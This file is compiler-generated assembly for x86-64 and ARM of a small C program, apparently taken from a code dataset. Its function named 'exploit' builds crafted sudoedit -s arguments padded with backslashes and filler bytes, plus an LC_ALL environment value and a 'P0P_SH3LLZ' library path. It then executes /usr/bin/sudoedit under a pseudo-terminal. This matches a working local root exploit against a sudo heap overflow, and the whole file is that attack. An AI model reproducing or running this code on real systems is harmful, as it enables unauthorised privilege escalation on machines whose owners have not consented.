	.file	"132953944.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
.LC0:
	.string	"X/P0P_SH3LLZ_"
.LC1:
	.string	"Manual"
.LC2:
	.string	"/usr/bin/sudoedit"
	.align 8
.LC3:
	.string	"using target: %s '%s' (%d, %d, %d, %d)\n"
.LC4:
	.string	"sudoedit"
.LC5:
	.string	"-s"
.LC6:
	.string	"\\"
	.text
	.globl	exploit
	.type	exploit, @function
exploit:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 4096
	or	QWORD PTR [rsp], 0
	add	rsp, -128
	mov	DWORD PTR -4212[rbp], edi
	mov	QWORD PTR -4224[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rax, .LC0[rip]
	mov	QWORD PTR -4200[rbp], rax
	cmp	DWORD PTR -4212[rbp], 5
	je	.L2
	cmp	DWORD PTR -4212[rbp], 6
	je	.L2
	mov	eax, -1
	jmp	.L8
.L2:
	cmp	DWORD PTR -4212[rbp], 6
	jne	.L4
	mov	rax, QWORD PTR -4224[rbp]
	add	rax, 40
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	strlen@PLT
	cmp	rax, 11
	je	.L5
	mov	eax, -1
	jmp	.L8
.L5:
	mov	rax, QWORD PTR -4224[rbp]
	mov	rax, QWORD PTR 40[rax]
	mov	QWORD PTR -4200[rbp], rax
.L4:
	mov	QWORD PTR -4192[rbp], 0
	mov	edi, 40
	call	malloc@PLT
	mov	QWORD PTR -4192[rbp], rax
	mov	rax, QWORD PTR -4192[rbp]
	lea	rdx, .LC1[rip]
	mov	QWORD PTR [rax], rdx
	mov	rax, QWORD PTR -4192[rbp]
	lea	rdx, .LC2[rip]
	mov	QWORD PTR 8[rax], rdx
	mov	rax, QWORD PTR -4224[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	edx, eax
	mov	rax, QWORD PTR -4192[rbp]
	mov	DWORD PTR 16[rax], edx
	mov	rax, QWORD PTR -4224[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	edx, eax
	mov	rax, QWORD PTR -4192[rbp]
	mov	DWORD PTR 20[rax], edx
	mov	rax, QWORD PTR -4224[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	edx, eax
	mov	rax, QWORD PTR -4192[rbp]
	mov	DWORD PTR 24[rax], edx
	mov	rax, QWORD PTR -4224[rbp]
	add	rax, 32
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	atoi@PLT
	mov	edx, eax
	mov	rax, QWORD PTR -4192[rbp]
	mov	DWORD PTR 28[rax], edx
	mov	rax, QWORD PTR -4192[rbp]
	mov	rdx, QWORD PTR -4200[rbp]
	mov	QWORD PTR 32[rax], rdx
	mov	rax, QWORD PTR -4192[rbp]
	mov	esi, DWORD PTR 28[rax]
	mov	rax, QWORD PTR -4192[rbp]
	mov	r8d, DWORD PTR 24[rax]
	mov	rax, QWORD PTR -4192[rbp]
	mov	edi, DWORD PTR 20[rax]
	mov	rax, QWORD PTR -4192[rbp]
	mov	ecx, DWORD PTR 16[rax]
	mov	rax, QWORD PTR -4192[rbp]
	mov	rdx, QWORD PTR 8[rax]
	mov	rax, QWORD PTR -4192[rbp]
	mov	rax, QWORD PTR [rax]
	sub	rsp, 8
	push	rsi
	mov	r9d, r8d
	mov	r8d, edi
	mov	rsi, rax
	lea	rdi, .LC3[rip]
	mov	eax, 0
	call	printf@PLT
	add	rsp, 16
	mov	rax, QWORD PTR -4192[rbp]
	mov	eax, DWORD PTR 16[rax]
	add	eax, 2
	mov	eax, eax
	mov	esi, 1
	mov	rdi, rax
	call	calloc@PLT
	mov	QWORD PTR -4184[rbp], rax
	mov	rax, QWORD PTR -4192[rbp]
	mov	eax, DWORD PTR 20[rax]
	add	eax, 2
	mov	eax, eax
	mov	esi, 1
	mov	rdi, rax
	call	calloc@PLT
	mov	QWORD PTR -4176[rbp], rax
	mov	rax, QWORD PTR -4192[rbp]
	mov	eax, DWORD PTR 16[rax]
	mov	edx, eax
	mov	rax, QWORD PTR -4184[rbp]
	mov	esi, 35
	mov	rdi, rax
	call	memset@PLT
	mov	rax, QWORD PTR -4192[rbp]
	mov	eax, DWORD PTR 20[rax]
	mov	edx, eax
	mov	rax, QWORD PTR -4176[rbp]
	mov	esi, 35
	mov	rdi, rax
	call	memset@PLT
	mov	rax, QWORD PTR -4192[rbp]
	mov	eax, DWORD PTR 16[rax]
	mov	edx, eax
	mov	rax, QWORD PTR -4184[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 92
	mov	rax, QWORD PTR -4192[rbp]
	mov	eax, DWORD PTR 20[rax]
	mov	edx, eax
	mov	rax, QWORD PTR -4176[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 92
	lea	rax, .LC4[rip]
	mov	QWORD PTR -4160[rbp], rax
	lea	rax, .LC5[rip]
	mov	QWORD PTR -4152[rbp], rax
	mov	rax, QWORD PTR -4184[rbp]
	mov	QWORD PTR -4144[rbp], rax
	lea	rax, .LC6[rip]
	mov	QWORD PTR -4136[rbp], rax
	mov	rax, QWORD PTR -4176[rbp]
	mov	QWORD PTR -4128[rbp], rax
	mov	QWORD PTR -4120[rbp], 0
	mov	DWORD PTR -4208[rbp], 0
	mov	DWORD PTR -4204[rbp], 0
	jmp	.L6
.L7:
	mov	eax, DWORD PTR -4208[rbp]
	lea	edx, 1[rax]
	mov	DWORD PTR -4208[rbp], edx
	cdqe
	lea	rdx, .LC6[rip]
	mov	QWORD PTR -4112[rbp+rax*8], rdx
	add	DWORD PTR -4204[rbp], 1
.L6:
	mov	rax, QWORD PTR -4192[rbp]
	mov	edx, DWORD PTR 24[rax]
	mov	eax, DWORD PTR -4204[rbp]
	cmp	edx, eax
	ja	.L7
	mov	eax, DWORD PTR -4208[rbp]
	lea	edx, 1[rax]
	mov	DWORD PTR -4208[rbp], edx
	mov	rdx, QWORD PTR -4192[rbp]
	mov	rdx, QWORD PTR 32[rdx]
	cdqe
	mov	QWORD PTR -4112[rbp+rax*8], rdx
	mov	rax, QWORD PTR -4192[rbp]
	mov	eax, DWORD PTR 28[rax]
	add	eax, 16
	mov	eax, eax
	mov	esi, 1
	mov	rdi, rax
	call	calloc@PLT
	mov	QWORD PTR -4168[rbp], rax
	mov	rax, QWORD PTR -4168[rbp]
	movabs	rsi, 4845112664518509388
	movabs	rdi, 18076165614097710
	mov	QWORD PTR [rax], rsi
	mov	QWORD PTR 8[rax], rdi
	mov	rax, QWORD PTR -4192[rbp]
	mov	eax, DWORD PTR 28[rax]
	mov	edx, eax
	mov	rax, QWORD PTR -4168[rbp]
	add	rax, 15
	mov	esi, 67
	mov	rdi, rax
	call	memset@PLT
	mov	eax, DWORD PTR -4208[rbp]
	lea	edx, 1[rax]
	mov	DWORD PTR -4208[rbp], edx
	cdqe
	mov	rdx, QWORD PTR -4168[rbp]
	mov	QWORD PTR -4112[rbp+rax*8], rdx
	mov	eax, DWORD PTR -4208[rbp]
	lea	edx, 1[rax]
	mov	DWORD PTR -4208[rbp], edx
	cdqe
	mov	QWORD PTR -4112[rbp+rax*8], 0
	mov	rax, QWORD PTR -4192[rbp]
	mov	rax, QWORD PTR 8[rax]
	lea	rdx, -4112[rbp]
	lea	rcx, -4160[rbp]
	mov	rsi, rcx
	mov	rdi, rax
	call	execve@PLT
	mov	eax, 0
.L8:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L9
	call	__stack_chk_fail@PLT
.L9:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	exploit, .-exploit
	.section	.rodata
.LC7:
	.string	"forkpty(3) failed"
	.text
	.globl	main
	.type	main, @function
main:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 192
	mov	DWORD PTR -180[rbp], edi
	mov	QWORD PTR -192[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -164[rbp], 0
	lea	rax, -168[rbp]
	mov	ecx, 0
	mov	edx, 0
	mov	esi, 0
	mov	rdi, rax
	call	forkpty@PLT
	mov	DWORD PTR -164[rbp], eax
	cmp	DWORD PTR -164[rbp], 0
	jns	.L11
	lea	rdi, .LC7[rip]
	call	puts@PLT
	mov	eax, -1
	jmp	.L17
.L11:
	cmp	DWORD PTR -164[rbp], 0
	jne	.L13
	mov	rax, QWORD PTR -192[rbp]
	mov	rax, QWORD PTR [rax]
	mov	esi, 0
	mov	rdi, rax
	call	realpath@PLT
	mov	QWORD PTR -152[rbp], rax
	cmp	QWORD PTR -152[rbp], 0
	je	.L14
	mov	rax, QWORD PTR -152[rbp]
	mov	rdi, rax
	call	dirname@PLT
	mov	rdi, rax
	call	chdir@PLT
	mov	rax, QWORD PTR -152[rbp]
	mov	rdi, rax
	call	free@PLT
.L14:
	mov	rdx, QWORD PTR -192[rbp]
	mov	eax, DWORD PTR -180[rbp]
	mov	rsi, rdx
	mov	edi, eax
	call	exploit
	jmp	.L17
.L13:
	mov	eax, 0
	mov	ecx, 16
	lea	rdx, -144[rbp]
	mov	rdi, rdx
#APP
# 141 "the_stack_data/132953944.c" 1
	cld; rep; stosq
# 0 "" 2
#NO_APP
	mov	eax, edi
	mov	edx, ecx
	mov	DWORD PTR -160[rbp], edx
	mov	DWORD PTR -156[rbp], eax
	mov	eax, DWORD PTR -168[rbp]
	lea	edx, 63[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 6
	mov	esi, eax
	movsx	rax, esi
	mov	rdi, QWORD PTR -144[rbp+rax*8]
	mov	eax, DWORD PTR -168[rbp]
	cdq
	shr	edx, 26
	add	eax, edx
	and	eax, 63
	sub	eax, edx
	mov	edx, 1
	mov	ecx, eax
	sal	rdx, cl
	mov	rax, rdx
	or	rdi, rax
	mov	rdx, rdi
	movsx	rax, esi
	mov	QWORD PTR -144[rbp+rax*8], rdx
	mov	rax, QWORD PTR -144[rbp]
	or	rax, 1
	mov	QWORD PTR -144[rbp], rax
	mov	eax, DWORD PTR -168[rbp]
	lea	edi, 1[rax]
	lea	rax, -144[rbp]
	mov	r8d, 0
	mov	ecx, 0
	mov	edx, 0
	mov	rsi, rax
	call	select@PLT
	mov	eax, DWORD PTR -168[rbp]
	lea	edx, 63[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 6
	cdqe
	mov	rsi, QWORD PTR -144[rbp+rax*8]
	mov	eax, DWORD PTR -168[rbp]
	cdq
	shr	edx, 26
	add	eax, edx
	and	eax, 63
	sub	eax, edx
	mov	edx, 1
	mov	ecx, eax
	sal	rdx, cl
	mov	rax, rdx
	and	rax, rsi
	test	rax, rax
	je	.L13
	mov	eax, DWORD PTR -168[rbp]
	lea	rcx, -169[rbp]
	mov	edx, 1
	mov	rsi, rcx
	mov	edi, eax
	call	read@PLT
	cmp	rax, -1
	je	.L16
	lea	rax, -169[rbp]
	mov	edx, 1
	mov	rsi, rax
	mov	edi, 1
	call	write@PLT
	jmp	.L13
.L16:
	mov	eax, 0
.L17:
	mov	rsi, QWORD PTR -8[rbp]
	sub	rsi, QWORD PTR fs:40
	je	.L18
	call	__stack_chk_fail@PLT
.L18:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"132953944.c"
	.text
	.section	.rodata
	.align	2
.LC0:
	.ascii	"X/P0P_SH3LLZ_\000"
	.align	2
.LC1:
	.ascii	"Manual\000"
	.align	2
.LC2:
	.ascii	"/usr/bin/sudoedit\000"
	.align	2
.LC3:
	.ascii	"using target: %s '%s' (%d, %d, %d, %d)\012\000"
	.align	2
.LC4:
	.ascii	"sudoedit\000"
	.align	2
.LC5:
	.ascii	"-s\000"
	.align	2
.LC6:
	.ascii	"\\\000"
	.align	2
.LC7:
	.ascii	"LC_ALL=C.UTF-8@\000"
	.align	2
.LC8:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	exploit
	.syntax unified
	.arm
	.fpu softvfp
	.type	exploit, %function
exploit:
	@ args = 0, pretend = 0, frame = 2112
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #2128
	str	r0, [fp, #-2112]
	str	r1, [fp, #-2116]
	ldr	r3, .L10
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, .L10+4
	str	r3, [fp, #-2108]
	ldr	r3, [fp, #-2112]
	cmp	r3, #5
	beq	.L2
	ldr	r3, [fp, #-2112]
	cmp	r3, #6
	beq	.L2
	mvn	r3, #0
	b	.L8
.L2:
	ldr	r3, [fp, #-2112]
	cmp	r3, #6
	bne	.L4
	ldr	r3, [fp, #-2116]
	add	r3, r3, #20
	ldr	r3, [r3]
	mov	r0, r3
	bl	strlen
	mov	r3, r0
	cmp	r3, #11
	beq	.L5
	mvn	r3, #0
	b	.L8
.L5:
	ldr	r3, [fp, #-2116]
	ldr	r3, [r3, #20]
	str	r3, [fp, #-2108]
.L4:
	mov	r3, #0
	str	r3, [fp, #-2096]
	mov	r0, #28
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-2096]
	ldr	r3, [fp, #-2096]
	ldr	r2, .L10+8
	str	r2, [r3]
	ldr	r3, [fp, #-2096]
	ldr	r2, .L10+12
	str	r2, [r3, #4]
	ldr	r3, [fp, #-2116]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-2096]
	str	r2, [r3, #8]
	ldr	r3, [fp, #-2116]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-2096]
	str	r2, [r3, #12]
	ldr	r3, [fp, #-2116]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-2096]
	str	r2, [r3, #16]
	ldr	r3, [fp, #-2116]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-2096]
	str	r2, [r3, #20]
	ldr	r3, [fp, #-2096]
	ldr	r2, [fp, #-2108]
	str	r2, [r3, #24]
	ldr	r3, [fp, #-2096]
	ldr	r0, [r3]
	ldr	r3, [fp, #-2096]
	ldr	ip, [r3, #4]
	ldr	r3, [fp, #-2096]
	ldr	lr, [r3, #8]
	ldr	r3, [fp, #-2096]
	ldr	r3, [r3, #12]
	ldr	r2, [fp, #-2096]
	ldr	r2, [r2, #16]
	ldr	r1, [fp, #-2096]
	ldr	r1, [r1, #20]
	str	r1, [sp, #8]
	str	r2, [sp, #4]
	str	r3, [sp]
	mov	r3, lr
	mov	r2, ip
	mov	r1, r0
	ldr	r0, .L10+16
	bl	printf
	ldr	r3, [fp, #-2096]
	ldr	r3, [r3, #8]
	add	r3, r3, #2
	mov	r1, #1
	mov	r0, r3
	bl	calloc
	mov	r3, r0
	str	r3, [fp, #-2092]
	ldr	r3, [fp, #-2096]
	ldr	r3, [r3, #12]
	add	r3, r3, #2
	mov	r1, #1
	mov	r0, r3
	bl	calloc
	mov	r3, r0
	str	r3, [fp, #-2088]
	ldr	r3, [fp, #-2096]
	ldr	r3, [r3, #8]
	mov	r2, r3
	mov	r1, #35
	ldr	r0, [fp, #-2092]
	bl	memset
	ldr	r3, [fp, #-2096]
	ldr	r3, [r3, #12]
	mov	r2, r3
	mov	r1, #35
	ldr	r0, [fp, #-2088]
	bl	memset
	ldr	r3, [fp, #-2096]
	ldr	r3, [r3, #8]
	ldr	r2, [fp, #-2092]
	add	r3, r2, r3
	mov	r2, #92
	strb	r2, [r3]
	ldr	r3, [fp, #-2096]
	ldr	r3, [r3, #12]
	ldr	r2, [fp, #-2088]
	add	r3, r2, r3
	mov	r2, #92
	strb	r2, [r3]
	ldr	r3, .L10+20
	str	r3, [fp, #-2080]
	ldr	r3, .L10+24
	str	r3, [fp, #-2076]
	ldr	r3, [fp, #-2092]
	str	r3, [fp, #-2072]
	ldr	r3, .L10+28
	str	r3, [fp, #-2068]
	ldr	r3, [fp, #-2088]
	str	r3, [fp, #-2064]
	mov	r3, #0
	str	r3, [fp, #-2060]
	mov	r3, #0
	str	r3, [fp, #-2104]
	mov	r3, #0
	str	r3, [fp, #-2100]
	b	.L6
.L7:
	ldr	r3, [fp, #-2104]
	add	r2, r3, #1
	str	r2, [fp, #-2104]
	lsl	r3, r3, #2
	sub	r2, fp, #4
	add	r3, r2, r3
	ldr	r2, .L10+28
	str	r2, [r3, #-2052]
	ldr	r3, [fp, #-2100]
	add	r3, r3, #1
	str	r3, [fp, #-2100]
.L6:
	ldr	r3, [fp, #-2096]
	ldr	r2, [r3, #16]
	ldr	r3, [fp, #-2100]
	cmp	r2, r3
	bhi	.L7
	ldr	r3, [fp, #-2104]
	add	r2, r3, #1
	str	r2, [fp, #-2104]
	ldr	r2, [fp, #-2096]
	ldr	r2, [r2, #24]
	lsl	r3, r3, #2
	sub	r1, fp, #4
	add	r3, r1, r3
	str	r2, [r3, #-2052]
	ldr	r3, [fp, #-2096]
	ldr	r3, [r3, #20]
	add	r3, r3, #16
	mov	r1, #1
	mov	r0, r3
	bl	calloc
	mov	r3, r0
	str	r3, [fp, #-2084]
	ldr	r3, [fp, #-2084]
	ldr	r2, .L10+32
	mov	r0, r3
	mov	r1, r2
	mov	r3, #16
	mov	r2, r3
	bl	memcpy
	ldr	r3, [fp, #-2084]
	add	r0, r3, #15
	ldr	r3, [fp, #-2096]
	ldr	r3, [r3, #20]
	mov	r2, r3
	mov	r1, #67
	bl	memset
	ldr	r3, [fp, #-2104]
	add	r2, r3, #1
	str	r2, [fp, #-2104]
	lsl	r3, r3, #2
	sub	r2, fp, #4
	add	r3, r2, r3
	ldr	r2, [fp, #-2084]
	str	r2, [r3, #-2052]
	ldr	r3, [fp, #-2104]
	add	r2, r3, #1
	str	r2, [fp, #-2104]
	lsl	r3, r3, #2
	sub	r2, fp, #4
	add	r3, r2, r3
	mov	r2, #0
	str	r2, [r3, #-2052]
	ldr	r3, [fp, #-2096]
	ldr	r0, [r3, #4]
	sub	r2, fp, #2048
	sub	r2, r2, #4
	sub	r2, r2, #4
	sub	r3, fp, #2064
	sub	r3, r3, #4
	sub	r3, r3, #12
	mov	r1, r3
	bl	execve
	mov	r3, #0
.L8:
	ldr	r2, .L10
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L9
	bl	__stack_chk_fail
.L9:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L11:
	.align	2
.L10:
	.word	.LC8
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.size	exploit, .-exploit
	.section	.rodata
	.align	2
.LC9:
	.ascii	"forkpty(3) failed\000"
	.align	2
.LC10:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 168
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #176
	str	r0, [fp, #-168]
	str	r1, [fp, #-172]
	ldr	r3, .L23
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-148]
	sub	r0, fp, #156
	mov	r3, #0
	mov	r2, #0
	mov	r1, #0
	bl	forkpty
	str	r0, [fp, #-148]
	ldr	r3, [fp, #-148]
	cmp	r3, #0
	bge	.L13
	ldr	r0, .L23+4
	bl	puts
	mvn	r3, #0
	b	.L21
.L13:
	ldr	r3, [fp, #-148]
	cmp	r3, #0
	bne	.L15
	ldr	r3, [fp, #-172]
	ldr	r3, [r3]
	mov	r1, #0
	mov	r0, r3
	bl	realpath
	str	r0, [fp, #-140]
	ldr	r3, [fp, #-140]
	cmp	r3, #0
	beq	.L16
	ldr	r0, [fp, #-140]
	bl	dirname
	mov	r3, r0
	mov	r0, r3
	bl	chdir
	ldr	r0, [fp, #-140]
	bl	free
.L16:
	ldr	r1, [fp, #-172]
	ldr	r0, [fp, #-168]
	bl	exploit
	mov	r3, r0
	b	.L21
.L15:
	sub	r3, fp, #136
	str	r3, [fp, #-144]
	mov	r3, #0
	str	r3, [fp, #-152]
	b	.L17
.L18:
	ldr	r3, [fp, #-144]
	ldr	r2, [fp, #-152]
	mov	r1, #0
	str	r1, [r3, r2, lsl #2]
	ldr	r3, [fp, #-152]
	add	r3, r3, #1
	str	r3, [fp, #-152]
.L17:
	ldr	r3, [fp, #-152]
	cmp	r3, #31
	bls	.L18
	ldr	r3, [fp, #-156]
	add	r2, r3, #31
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #5
	mov	r2, r3
	lsl	r3, r2, #2
	sub	r1, fp, #4
	add	r3, r1, r3
	ldr	r1, [r3, #-132]
	ldr	r3, [fp, #-156]
	rsbs	r0, r3, #0
	and	r3, r3, #31
	and	r0, r0, #31
	rsbpl	r3, r0, #0
	mov	r0, #1
	lsl	r3, r0, r3
	orr	r1, r1, r3
	lsl	r3, r2, #2
	sub	r2, fp, #4
	add	r3, r2, r3
	str	r1, [r3, #-132]
	ldr	r3, [fp, #-136]
	orr	r3, r3, #1
	str	r3, [fp, #-136]
	ldr	r3, [fp, #-156]
	add	r0, r3, #1
	sub	r1, fp, #136
	mov	r3, #0
	str	r3, [sp]
	mov	r3, #0
	mov	r2, #0
	bl	select
	ldr	r3, [fp, #-156]
	add	r2, r3, #31
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #5
	lsl	r3, r3, #2
	sub	r2, fp, #4
	add	r3, r2, r3
	ldr	r2, [r3, #-132]
	ldr	r3, [fp, #-156]
	rsbs	r1, r3, #0
	and	r3, r3, #31
	and	r1, r1, #31
	rsbpl	r3, r1, #0
	mov	r1, #1
	lsl	r3, r1, r3
	and	r3, r3, r2
	cmp	r3, #0
	beq	.L15
	ldr	r3, [fp, #-156]
	sub	r1, fp, #157
	mov	r2, #1
	mov	r0, r3
	bl	read
	mov	r3, r0
	cmn	r3, #1
	beq	.L20
	sub	r3, fp, #157
	mov	r2, #1
	mov	r1, r3
	mov	r0, #1
	bl	write
	b	.L15
.L20:
	mov	r3, #0
.L21:
	ldr	r2, .L23
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L22
	bl	__stack_chk_fail
.L22:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L24:
	.align	2
.L23:
	.word	.LC10
	.word	.LC9
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
